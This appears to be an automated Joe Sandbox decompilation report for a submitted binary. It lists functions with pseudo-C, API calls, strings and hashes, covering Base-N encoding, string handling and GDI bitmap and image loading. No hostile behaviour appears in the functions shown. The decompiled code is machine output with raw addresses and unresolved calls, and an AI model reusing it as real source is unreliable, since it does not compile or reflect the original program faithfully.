String ID: Embed Source$Embedded Object$FileName$FileNameW$Link Source$Link Source Descriptor$Native$Object Descriptor$ObjectLink$OwnerLink$Rich Text Format$RichEdit Text and Objects
API String ID: 1228543026-2889995556
Opcode ID: 624a84d1f40339c81b07a22b5ad164fd45bc163e9a5972cf15e815ca6a06f808
Instruction ID: 05035e4d4a3175337f377fdad270718c1539db42896abb4c60fd37bccfd53c55
Opcode Fuzzy Hash: 624a84d1f40339c81b07a22b5ad164fd45bc163e9a5972cf15e815ca6a06f808
Instruction Fuzzy Hash: EA01CC70E4973AAE8B309F72AC0A81A7EA0FF55B643014967B01897640D7B4D854CFF4

Uniqueness

Uniqueness Score: -1.00%

Function 00CADDD2 Relevance: 31.7, APIs: 5, Strings: 13, Instructions: 236COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00CADDD9

Part of subcall function 00CADBE9: __EH_prolog3_GS.LIBCMT ref: 00CADBF3
Part of subcall function 00CADBE9: __CxxThrowException@8.LIBCMT ref: 00CADC74

Part of subcall function 00CAC6B1: __EH_prolog3_GS.LIBCMT ref: 00CAC6BB
Part of subcall function 00CAC6B1: __CxxThrowException@8.LIBCMT ref: 00CAC73C

__CxxThrowException@8.LIBCMT ref: 00CADE93
__EH_prolog3_GS.LIBCMT ref: 00CADEA0
__CxxThrowException@8.LIBCMT ref: 00CADF7D
__EH_prolog3.LIBCMT ref: 00CADF8A

Strings

BaseN_Decoder: Log2Base must be between 1 and 7 inclusive, xrefs: 00CADE64
BaseN_Decoder, xrefs: 00CADDEC, 00CADE03
BaseN_Encoder: Log2Base must be between 1 and 7 inclusive, xrefs: 00CADF4E
Log2Base, xrefs: 00CADDFE, 00CADEC5
GroupSize, xrefs: 00CADF9D
PaddingByte, xrefs: 00CADEE9
Terminator, xrefs: 00CAE00D
BaseN_Encoder, xrefs: 00CADEB3, 00CADECA
DecodingLookupArray, xrefs: 00CADDE7
Grouper, xrefs: 00CADFE1
EncodingLookupArray, xrefs: 00CADEAE
Separator, xrefs: 00CADFDC, 00CADFF8
Pad, xrefs: 00CADEF9

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: Exception@8H_prolog3_Throw$H_prolog3
String ID: BaseN_Decoder$BaseN_Decoder: Log2Base must be between 1 and 7 inclusive$BaseN_Encoder$BaseN_Encoder: Log2Base must be between 1 and 7 inclusive$DecodingLookupArray$EncodingLookupArray$GroupSize$Grouper$Log2Base$Pad$PaddingByte$Separator$Terminator
API String ID: 2346160487-2095131268
Opcode ID: e90f954c7092535e2e290a2f740488d1327f3180affd337861a167fd8452f9e2
Instruction ID: 22a294a797373febebf24f50cb57069dfb66dfba5f199f86527f576141cb1e73
Opcode Fuzzy Hash: e90f954c7092535e2e290a2f740488d1327f3180affd337861a167fd8452f9e2
Instruction Fuzzy Hash: D481F271A00209AFCF08DFA4C892AED77F5BF99315F144109F5126B6C1DB70AE09CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00B9705D Relevance: 21.3, APIs: 11, Strings: 1, Instructions: 273
COMMON

Download Yara Rule

C-Code - Quality: 45%

			E00B9705D(intOrPtr __ecx, void* __edx, signed long long __fp0) {
				void* _t141;
				void* _t144;
				short _t150;
				void* _t155;
				void* _t156;
				intOrPtr _t159;
				void* _t164;
				void* _t174;
				void* _t182;
				unsigned int _t184;
				void* _t199;
				intOrPtr _t201;
				void* _t202;
				unsigned int _t204;
				signed int _t214;
				intOrPtr _t217;
				signed int _t231;
				signed int _t233;
				signed char* _t241;
				void* _t242;
				signed int _t244;
				void* _t245;
				signed long long* _t246;
				signed long long _t249;
				signed long long _t252;

				_t249 = __fp0;
				_t232 = __edx;
				0xc81503(0x104);
				_t201 = __ecx;
				 *((intOrPtr*)(_t245 - 0xc8)) = __ecx;
				 *((intOrPtr*)(__ecx + 0xc)) =  *((intOrPtr*)(_t245 + 8));
				 *((intOrPtr*)(__ecx + 0x30)) = 1;
				if( *((intOrPtr*)(__ecx + 0x8c)) != 0) {
					if( *((intOrPtr*)(E00B80FF2() + 0x1ac)) > 8) {
						E00B79EF3(_t245 - 0xc4);
						 *(_t245 - 4) =  *(_t245 - 4) & 0x00000000;
						E00B7A8A4(_t201, _t245 - 0xc4, __edx,  *0xcee168(0));
						if(GetObjectW( *(_t201 + 0x8c), 0x18, _t245 - 0x110) == 0) {
							L30:
							_t202 = 0;
						} else {
							 *(_t245 - 0xb0) =  *(_t245 - 0x10c);
							 *(_t245 - 0x94) =  *(_t245 - 0x108);
							_t144 =  *(_t201 + 0x8c);
							if(_t144 == 0) {
								_t242 = 0;
								 *(_t245 - 0x98) = 0;
							} else {
								_t199 = SelectObject( *(_t245 - 0xc0), _t144);
								_t242 = _t199;
								 *(_t245 - 0x98) = _t199;
							}
							if(_t242 == 0) {
								goto L30;
							} else {
								E00B79EF3(_t245 - 0xd8);
								 *(_t245 - 4) = 1;
								E00B7A8A4(_t201, _t245 - 0xd8, _t232,  *0xcee168( *(_t245 - 0xc0)));
								_t233 =  *(_t245 - 0x94);
								_t214 =  *(_t245 - 0xb0);
								 *(_t245 - 0x2c) =  *(_t245 - 0x2c) & 0x00000000;
								 *((short*)(_t245 - 0x30)) = 1;
								_t150 = 0x20;
								 *((short*)(_t245 - 0x2e)) = _t150;
								 *(_t245 - 0x38) = _t214;
								 *((intOrPtr*)(_t245 - 0x3c)) = 0x28;
								 *(_t245 - 0x28) = _t233 * _t214;
								 *(_t245 - 0x34) = _t233;
								 *((intOrPtr*)(_t245 - 0x24)) = 0;
								 *((intOrPtr*)(_t245 - 0x20)) = 0;
								 *((intOrPtr*)(_t245 - 0x1c)) = 0;
								 *((intOrPtr*)(_t245 - 0x18)) = 0;
								 *((intOrPtr*)(_t245 - 0xe0)) = 0;
								_t155 =  *0xcee0fc( *(_t245 - 0xd4), _t245 - 0x3c, 0, _t245 - 0xe0, 0, 0);
								 *(_t245 - 0x9c) = _t155;
								if(_t155 != 0) {
									_t156 = SelectObject( *(_t245 - 0xd4), _t155);
									 *(_t245 - 0xdc) = _t156;
									if(_t156 != 0) {
										 *0xcee16c( *(_t245 - 0xd4), 0, 0,  *(_t245 - 0xb0),  *(_t245 - 0x94),  *(_t245 - 0xc0), 0, 0, 0xcc0020);
										_t159 =  *((intOrPtr*)(_t201 + 0xc));
										 *((intOrPtr*)(_t245 - 0xa0)) = _t159;
										if(_t159 <= 0) {
											_t159 = 0x82;
											 *((intOrPtr*)(_t245 - 0xa0)) = 0x82;
										}
										 *((intOrPtr*)(_t245 - 0xa8)) = _t159;
										if( *((intOrPtr*)(_t201 + 8)) != 0x20) {
											E00BA1EEE(_t245 - 0xac, _t245 - 0xd8);
											_t217 =  *((intOrPtr*)(_t201 + 0xa8));
											 *(_t245 - 4) = 2;
											if(_t217 == 0xffffffff) {
												_t217 =  *((intOrPtr*)(E00B80FF2() + 0x1c));
											}
											 *(_t245 - 0xf0) =  *(_t245 - 0xf0) & 0x00000000;
											 *(_t245 - 0xec) =  *(_t245 - 0xec) & 0x00000000;
											_push(0xffffffff);
											_push(_t217);
											_push( *((intOrPtr*)(_t245 - 0xa0)));
											 *(_t245 - 0xe8) =  *(_t245 - 0xb0);
											 *(_t245 - 0xe4) =  *(_t245 - 0x94);
											asm("movsd");
											asm("movsd");
											asm("movsd");
											asm("movsd");
											_t164 = L00BA4708(_t245 - 0xac, _t233, _t249);
											 *(_t245 - 4) = 1;
											E00BA1F03(_t164, _t245 - 0xac);
											goto L27;
										} else {
											if(GetObjectW( *(_t245 - 0x9c), 0x54, _t245 - 0x90) == 0) {
												goto L11;
											} else {
												_t174 = 0x20;
												if( *((intOrPtr*)(_t245 - 0x7e)) != _t174 ||  *((intOrPtr*)(_t245 - 0x7c)) == 0) {
													goto L11;
												} else {
													 *(_t245 - 0x94) =  *(_t245 - 0x94) & 0x00000000;
													if( *(_t245 - 0x88) *  *(_t245 - 0x8c) > 0) {
														asm("fild dword [ebp-0xa8]");
														 *(_t245 - 0xa4) = _t249;
														_t251 =  *(_t245 - 0xa4) *  *0xd05418;
														_t241 =  *((intOrPtr*)(_t245 - 0x7c)) + 1;
														 *(_t245 - 0xa4) =  *(_t245 - 0xa4) *  *0xd05418;
														do {
															_t182 = L00BA5A47((( *(_t241 - 1) & 0x000000ff) << 0x00000008 |  *_t241 & 0x000000ff) << 0x00000008 | _t241[1] & 0x000000ff, _t251, (( *(_t241 - 1) & 0x000000ff) << 0x00000008 |  *_t241 & 0x000000ff) << 0x00000008 | _t241[1] & 0x000000ff, _t245 - 0xf8, _t245 - 0xe8, _t245 - 0xb4);
															_t252 =  *(_t245 - 0xa4);
															_t246 = _t246 - 0x30;
															asm("fst qword [esp+0x28]");
															asm("fst qword [esp+0x20]");
															_t246[3] = _t252;
															asm("fldz");
															_t246[2] = _t252;
															_t246[1] =  *(_t245 - 0xb4);
															_t251 =  *(_t245 - 0xf8);
															 *_t246 =  *(_t245 - 0xf8);
															_push(E00BA4A1F(_t182));
															_t184 = E00BA5749((( *(_t241 - 1) & 0x000000ff) << 0x00000008 |  *_t241 & 0x000000ff) << 0x00000008 | _t241[1] & 0x000000ff);
															_t244 = _t241[2] & 0x000000ff;
															_t204 = _t184;
															asm("cdq");
															_t241[1] = (_t204 & 0x000000ff) * _t244 / 0xff;
															asm("cdq");
															 *_t241 = (_t204 >> 0x00000008 & 0x000000ff) * _t244 / 0xff;
															_t241 =  &(_t241[4]);
															asm("cdq");
															 *((char*)(_t241 - 5)) = (_t204 >> 0x00000010 & 0x000000ff) * _t244 / 0xff;
															_t231 =  *(_t245 - 0x94) + 1;
															 *(_t245 - 0x94) = _t231;
														} while (_t231 <  *(_t245 - 0x88) *  *(_t245 - 0x8c));
														_t201 =  *((intOrPtr*)(_t245 - 0xc8));
														L27:
														_t242 =  *(_t245 - 0x98);
													}
													SelectObject( *(_t245 - 0xd4),  *(_t245 - 0xdc));
													SelectObject( *(_t245 - 0xc0), _t242);
													DeleteObject( *(_t201 + 0x8c));
													 *(_t201 + 0x8c) =  *(_t245 - 0x9c);
													_t202 = 1;
												}
											}
										}
									} else {
										SelectObject( *(_t245 - 0xc0), _t242);
										DeleteObject( *(_t245 - 0x9c));
										goto L11;
									}
								} else {
									SelectObject( *(_t245 - 0xc0), _t242);
									L11:
									_t202 = 0;
								}
								 *(_t245 - 4) = 0;
								E00B7A049(_t245 - 0xd8);
							}
						}
						 *(_t245 - 4) =  *(_t245 - 4) | 0xffffffff;
						E00B7A049(_t245 - 0xc4);
						_t141 = _t202;
					} else {
						_t141 = 1;
					}
				} else {
					_t141 = 1;
				}
				0xc814b2();
				return _t141;
			}

0x00b9705d
0x00b9705d
0x00b97067
0x00b9706c
0x00b9706e
0x00b9707a
0x00b97084
0x00b97087
0x00b9709c
0x00b970ac
0x00b970b1
0x00b970c4
0x00b970e0
0x00b97464
0x00b97464
0x00b970e6
0x00b970f2
0x00b970fe
0x00b97104
0x00b9710c
0x00b97121
0x00b97123
0x00b9710e
0x00b97115
0x00b97117
0x00b97119
0x00b97119
0x00b9712b
0x00000000
0x00b97131
0x00b97137
0x00b97142
0x00b97153
0x00b97158
0x00b97160
0x00b97167
0x00b9716d
0x00b97171
0x00b97172
0x00b9717b
0x00b97182
0x00b97189
0x00b97197
0x00b971a1
0x00b971a4
0x00b971a7
0x00b971aa
0x00b971ad
0x00b971b3
0x00b971b9
0x00b971c1
0x00b971da
0x00b971dc
0x00b971e4
0x00b97220
0x00b97226
0x00b97229
0x00b97231
0x00b97233
0x00b97238
0x00b97238
0x00b97242
0x00b97248
0x00b973a1
0x00b973a6
0x00b973ac
0x00b973b3
0x00b973ba
0x00b973ba
0x00b973c9
0x00b973d0
0x00b973d7
0x00b973d9
0x00b973da
0x00b973e0
0x00b973f7
0x00b973fd
0x00b973fe
0x00b973ff
0x00b97400
0x00b97401
0x00b9740c
0x00b97410
0x00000000
0x00b9724e
0x00b97265
0x00000000
0x00b9726b
0x00b9726d
0x00b97272
0x00000000
0x00b97282
0x00b9728f
0x00b97298
0x00b9729e
0x00b972a4
0x00b972b0
0x00b972b9
0x00b972ba
0x00b972c0
0x00b972eb
0x00b972f0
0x00b972f6
0x00b972f9
0x00b972fd
0x00b97301
0x00b97305
0x00b97307
0x00b97311
0x00b97315
0x00b9731b
0x00b97323
0x00b97324
0x00b97329
0x00b9732d
0x00b9733a
0x00b97342
0x00b97353
0x00b97356
0x00b97358
0x00b97361
0x00b9736a
0x00b9736d
0x00b9737b
0x00b97381
0x00b97389
0x00b97415
0x00b97415
0x00b9741b
0x00b9742d
0x00b97436
0x00b9743e
0x00b9744a
0x00b97452
0x00b97452
0x00b97272
0x00b97265
0x00b971e6
0x00b971ed
0x00b971f5
0x00000000
0x00b971f5
0x00b971c3
0x00b971ca
0x00b971cc
0x00b971cc
0x00b971cc
0x00b97459
0x00b9745d
0x00b9745d
0x00b9712b
0x00b97466
0x00b97470
0x00b97475
0x00b9709e
0x00b970a0
0x00b970a0
0x00b97089
0x00b97089
0x00b97089
0x00b97477
0x00b9747c

APIs

__EH_prolog3_GS.LIBCMT ref: 00B97067

Strings

(, xrefs: 00B97182

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: H_prolog3_
String ID: (
API String ID: 2427045233-3887548279
Opcode ID: 9abfbd3d0aa153f7bd42612a9bb1ebafa084e83cd44ea9ca038b724cf5779701
Instruction ID: 61a45e2cd5c6326d4cfa6a6932aeb8af1c7522422848cd1c17c8b1f6c1c6f729
Opcode Fuzzy Hash: 9abfbd3d0aa153f7bd42612a9bb1ebafa084e83cd44ea9ca038b724cf5779701
Instruction Fuzzy Hash: 9AC12770914269DBDF249B64CC85BAEBBB4FF45300F0081EAE949A6292DB305A94CF61

Uniqueness

Uniqueness Score: -1.00%

Function 00B0A1C3 Relevance: 19.6, APIs: 9, Strings: 2, Instructions: 370COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00B0A288
_memmove.LIBCMT ref: 00B0A2BA
_memmove.LIBCMT ref: 00B0A2EF
_memmove.LIBCMT ref: 00B0A377
_memmove.LIBCMT ref: 00B0A3EE
_memmove.LIBCMT ref: 00B0A459
_memmove.LIBCMT ref: 00B0A49D
_memmove.LIBCMT ref: 00B0A4DA
std::_Xinvalid_argument.LIBCPMT ref: 00B0A507

Strings

string too long, xrefs: 00B0A502
invalid string position, xrefs: 00B0A50C

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: _memmove$Xinvalid_argumentstd::_
String ID: invalid string position$string too long
API String ID: 1771113911-4289949731
Opcode ID: 1c7cd3f28c1b915570729a076adcc1665fbca9fb592b8a99949500e5c5dea220
Instruction ID: f7b41c4b22f935f643381907c9f4dc4717484e11a4cbd9de77288a4f908dad60
Opcode Fuzzy Hash: 1c7cd3f28c1b915570729a076adcc1665fbca9fb592b8a99949500e5c5dea220
Instruction Fuzzy Hash: 18D13871A00309DFCB20CF58D88199EBBF5FF88740B2489A9E94197381D771EE54DBA6

Uniqueness

Uniqueness Score: -1.00%

Function 00B9768E Relevance: 18.2, APIs: 12, Instructions: 196
fileCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E00B9768E(void* __ecx, void* __edx, void* __fp0) {
				struct _SECURITY_ATTRIBUTES* _t53;
				void* _t60;
				signed short _t66;
				void* _t76;
				long _t77;
				void** _t98;
				signed int _t107;
				void* _t115;
				void* _t116;
				WCHAR* _t117;
				WCHAR* _t118;
				void* _t121;
				signed int* _t122;
				signed int* _t123;
				void* _t125;
				void* _t140;

				_t140 = __fp0;
				_t115 = __edx;
				0xc81503(0xa38);
				_t116 = __ecx;
				_t117 =  *(_t125 + 8);
				_t53 = 0;
				if( *((intOrPtr*)(__ecx + 0x28)) == 0) {
					if((0 | _t117 != 0x00000000) == 0) {
						E00B6BD09(__ecx);
					}
					_t98 = _t116 + 0x8c;
					E00B70DEA(_t98);
					_push(_t117);
					E00B03713(_t98, _t125 - 0xa2c, _t116);
					 *(_t125 - 4) =  *(_t125 - 4) & 0x00000000;
					if(E00B78A08(_t125 - 0xa2c, "\\", 0) == 0xffffffff && E00B78A08(_t125 - 0xa2c, 0xcf43ac, 0) == 0xffffffff && E00B78A08(_t125 - 0xa2c, 0xcfe2a4, 0) == 0xffffffff && GetModuleFileNameW(0, _t125 - 0xa28, 0x104) != 0) {
						0xc8728b(_t125 - 0xa28, _t125 - 0x18, 3, _t125 - 0x618, 0x100, 0, 0, 0, 0);
						0xc8728b(_t117, 0, 0, 0, 0, _t125 - 0x418, 0x100, _t125 - 0x218, 0x100);
						0xc8a208(_t125 - 0x820, 0x104, _t125 - 0x18, _t125 - 0x618, _t125 - 0x418, _t125 - 0x218);
						E00B066C9(_t98, _t125 - 0xa2c, _t116, _t125 - 0x820);
					}
					if( *((intOrPtr*)(_t125 + 0xc)) <= 0) {
						L12:
						 *(_t125 - 0x18) = 0x2010;
						if( *((intOrPtr*)(_t116 + 0x34)) != 0) {
							 *(_t125 - 0x18) = 0x3010;
						}
						_t118 =  *(_t125 - 0xa2c);
						_t60 = LoadImageW( *(E00B6D804(_t98, _t118) + 8), _t118, 0, 0, 0,  *(_t125 - 0x18));
						 *_t98 = _t60;
						if(_t60 == 0) {
							goto L11;
						} else {
							if(GetObjectW(_t60, 0x18, _t125 - 0xa44) != 0) {
								 *((intOrPtr*)(_t116 + 0x18)) = 1;
								E00B0C13D(_t116 + 0x98, 1, _t125 - 0xa2c);
								if((GetFileAttributesW( *(_t125 - 0xa2c)) & 0x00000001) != 0) {
									 *((intOrPtr*)(_t116 + 0x24)) = 1;
								}
								_t66 =  *((intOrPtr*)(_t125 - 0xa32));
								_t107 = _t66 & 0x0000ffff;
								 *(_t116 + 8) = _t107;
								_t121 = 0x20;
								if(_t107 > 8 && _t107 < _t121) {
									_push(0xffffffff);
									_push(0xffffffff);
									_push(0);
									_push(_t98);
									E00B97C66(_t98, _t115, _t140);
									_t66 =  *((intOrPtr*)(_t125 - 0xa32));
								}
								if(_t66 >= _t121) {
									E00B987DD( *_t98,  *((intOrPtr*)(_t116 + 0x3c)));
								}
								E00B995F6(_t116);
								_t122 = _t116 + 0x90;
								E00B70DEA(_t122);
								 *_t122 =  *_t122 & 0x00000000;
								_t123 = _t116 + 0x94;
								E00B70DEA(_t123);
								 *_t123 =  *_t123 & 0x00000000;
								E00B0656C( &(( *(_t125 - 0xa2c))[0xfffffffffffffff8]), _t115);
								_t53 = 1;
							} else {
								DeleteObject( *_t98);
								 *_t98 =  *_t98 & 0x00000000;
								goto L11;
							}
						}
					} else {
						_t76 = CreateFileW(_t117, 0x80000000, 1, 0, 3, 0, 0);
						 *(_t125 - 0x18) = _t76;
						if(_t76 == 0xffffffff) {
							goto L12;
						} else {
							_t77 = GetFileSize(_t76, 0);
							CloseHandle( *(_t125 - 0x18));
							if(_t77 <=  *((intOrPtr*)(_t125 + 0xc))) {
								goto L12;
							} else {
								L11:
								E00B0656C( *(_t125 - 0xa2c) - 0x10, _t115);
								_t53 = 0;
							}
						}
					}
				}
				0xc814b2();
				return _t53;
			}

0x00b9768e
0x00b9768e
0x00b97698
0x00b9769d
0x00b9769f
0x00b976a2
0x00b976a7
0x00b976b4
0x00b976b6
0x00b976b6
0x00b976bb
0x00b976c2
0x00b976c7
0x00b976ce
0x00b976d3
0x00b976ec
0x00b97763
0x00b97784
0x00b977b1
0x00b977c6
0x00b977c6
0x00b977cf
0x00b9781c
0x00b97820
0x00b97827
0x00b97829
0x00b97829
0x00b97830
0x00b97848
0x00b9784e
0x00b97852
0x00000000
0x00b97854
0x00b97866
0x00b97885
0x00b97888
0x00b9789b
0x00b9789d
0x00b9789d
0x00b978a0
0x00b978a7
0x00b978aa
0x00b978af
0x00b978b3
0x00b978b9
0x00b978bb
0x00b978bd
0x00b978bf
0x00b978c0
0x00b978c5
0x00b978c5
0x00b978cf
0x00b978d6
0x00b978d6
0x00b978dd
0x00b978e2
0x00b978e9
0x00b978ee
0x00b978f1
0x00b978f8
0x00b97903
0x00b97909
0x00b97910
0x00b97868
0x00b9786a
0x00b97870
0x00000000
0x00b97870
0x00b97866
0x00b977d1
0x00b977e0
0x00b977e6
0x00b977ec
0x00000000
0x00b977ee
0x00b977f1
0x00b977fc
0x00b97805
0x00000000
0x00b97807
0x00b97807
0x00b97810
0x00b97815
0x00b97815
0x00b97805
0x00b977ec
0x00b977cf
0x00b97911
0x00b97916

APIs

__EH_prolog3_GS.LIBCMT ref: 00B97698
GetModuleFileNameW.KERNEL32(00000000,?,00000104,00CFE2A4,00000000,00CF43AC,00000000,00CF2A84,00000000,?,?,00000A38,00B98639,?,00000000,00000038), ref: 00B97736
__wsplitpath_s.LIBCMT ref: 00B97763
__wsplitpath_s.LIBCMT ref: 00B97784
__wmakepath_s.LIBCMT ref: 00B977B1
CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00CF2A84,00000000,?,?,00000A38,00B98639,?,00000000,00000038), ref: 00B977E0
GetFileSize.KERNEL32(00000000,00000000), ref: 00B977F1
CloseHandle.KERNEL32(?), ref: 00B977FC

Part of subcall function 00B6BD09: __CxxThrowException@8.LIBCMT ref: 00B6BD1D

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: File$__wsplitpath_s$CloseCreateException@8H_prolog3_HandleModuleNameSizeThrow__wmakepath_s
String ID:
API String ID: 3070774542-0
Opcode ID: dac62e5d84370e70788f2440f7408a769ef57e27713fd45795cbc6f6b2a30d3d
Instruction ID: ac204ea198de937dbdcd09b46906c7fe99987efa08c76b8b8dc266dd324bec34
Opcode Fuzzy Hash: dac62e5d84370e70788f2440f7408a769ef57e27713fd45795cbc6f6b2a30d3d
Instruction Fuzzy Hash: 7E61B372960219AADF20AB64CC89FFE73ECEF05310F1046A5F515E60D0EB749E85CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00B97C66 Relevance: 18.2, APIs: 12, Instructions: 160
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E00B97C66(void* __ebx, void* __edx, void* __fp0) {
				int _t63;
				int _t66;
				intOrPtr _t67;
				void* _t68;
				void* _t72;
				intOrPtr _t75;
				long _t81;
				void* _t82;
				void* _t87;
				void* _t88;
				int _t89;
				void* _t90;
				intOrPtr _t92;
				intOrPtr _t96;
				void* _t100;
				void* _t101;
				void** _t102;
				int _t103;
				int _t105;
				void* _t107;
				void* _t109;

				_t109 = __fp0;
				_t101 = __edx;
				_t88 = __ebx;
				0xc814d0(0x50);
				_t102 =  *(_t107 + 8);
				if( *_t102 != 0) {
					if( *((intOrPtr*)(_t107 + 0x10)) == 0xffffffff ||  *((intOrPtr*)(_t107 + 0x14)) != 0xffffffff) {
						E00B79EF3(_t107 - 0x34);
						 *(_t107 - 4) =  *(_t107 - 4) & 0x00000000;
						E00B7A8A4(_t88, _t107 - 0x34, _t101,  *0xcee168(0));
						_push(_t107 - 0x5c);
						_t63 = 0x18;
						if(GetObjectW( *_t102, _t63, ??) == 0) {
							L11:
							_t89 = 0;
							L12:
							 *(_t107 - 4) =  *(_t107 - 4) | 0xffffffff;
							E00B7A049(_t107 - 0x34);
							_t66 = _t89;
							L13:
							0xc8149e();
							return _t66;
						}
						if( *_t102 == 0) {
							_t90 = 0;
							 *(_t107 - 0x1c) = 0;
						} else {
							_t87 = SelectObject( *(_t107 - 0x30),  *_t102);
							_t90 = _t87;
							 *(_t107 - 0x1c) = _t87;
						}
						if(_t90 != 0) {
							_t96 =  *((intOrPtr*)(_t107 - 0x54));
							_t67 =  *((intOrPtr*)(_t107 - 0x58));
							 *((intOrPtr*)(_t107 - 0x10)) = _t67;
							 *((intOrPtr*)(_t107 - 0x18)) = _t96;
							_t68 =  *0xcee0e4( *(_t107 - 0x30), _t67, _t96);
							 *(_t107 - 0x14) = _t68;
							if(_t68 != 0) {
								E00B79EF3(_t107 - 0x44);
								 *(_t107 - 4) = 1;
								E00B7A8A4(_t90, _t107 - 0x44, _t101,  *0xcee168( *(_t107 - 0x30)));
								_t72 = SelectObject( *(_t107 - 0x40),  *(_t107 - 0x14));
								 *(_t107 - 0x24) = _t72;
								if(_t72 != 0) {
									 *0xcee16c( *(_t107 - 0x40), 0, 0,  *((intOrPtr*)(_t107 - 0x10)),  *((intOrPtr*)(_t107 - 0x18)),  *(_t107 - 0x30), 0, 0, 0xcc0020);
									 *(_t107 - 0x20) =  *(_t107 - 0x20) & 0x00000000;
									_t75 =  *((intOrPtr*)(_t107 - 0x10));
									if(_t75 <= 0) {
										L33:
										SelectObject( *(_t107 - 0x40),  *(_t107 - 0x24));
										SelectObject( *(_t107 - 0x30), _t90);
										DeleteObject( *_t102);
										 *_t102 =  *(_t107 - 0x14);
										_t89 = 1;
										L34:
										 *(_t107 - 4) = 0;
										E00B7A049(_t107 - 0x44);
										goto L12;
									}
									_t105 =  *(_t107 - 0x20);
									_t92 =  *((intOrPtr*)(_t107 - 0x18));
									do {
										_t103 = 0;
										if(_t92 <= 0) {
											goto L31;
										} else {
											goto L19;
										}
										do {
											L19:
											_t81 = GetPixel( *(_t107 - 0x40), _t105, _t103);
											 *(_t107 - 0x20) = _t81;
											if( *((intOrPtr*)(_t107 + 0x10)) == 0xffffffff) {
												_t100 = 0x18;
												if( *((intOrPtr*)(_t107 - 0x4a)) != _t100 ||  *0xd61a40 != 0) {
													_t82 = E00B97EC8(_t103, _t105, _t81,  *((intOrPtr*)(_t107 + 0xc)));
												} else {
													_t82 = E00B97F58(_t109, _t81);
												}
												if( *(_t107 - 0x20) == _t82) {
													goto L29;
												}
												_push(_t82);
												L28:
												SetPixel( *(_t107 - 0x40), _t105, _t103, ??);
												goto L29;
											}
											if(_t81 !=  *((intOrPtr*)(_t107 + 0x10))) {
												goto L29;
											}
											_push( *((intOrPtr*)(_t107 + 0x14)));
											goto L28;
											L29:
											_t103 = _t103 + 1;
										} while (_t103 < _t92);
										_t75 =  *((intOrPtr*)(_t107 - 0x10));
										L31:
										_t105 = _t105 + 1;
									} while (_t105 < _t75);
									_t102 =  *(_t107 + 8);
									_t90 =  *(_t107 - 0x1c);
									goto L33;
								}
								SelectObject( *(_t107 - 0x30), _t90);
								DeleteObject( *(_t107 - 0x14));
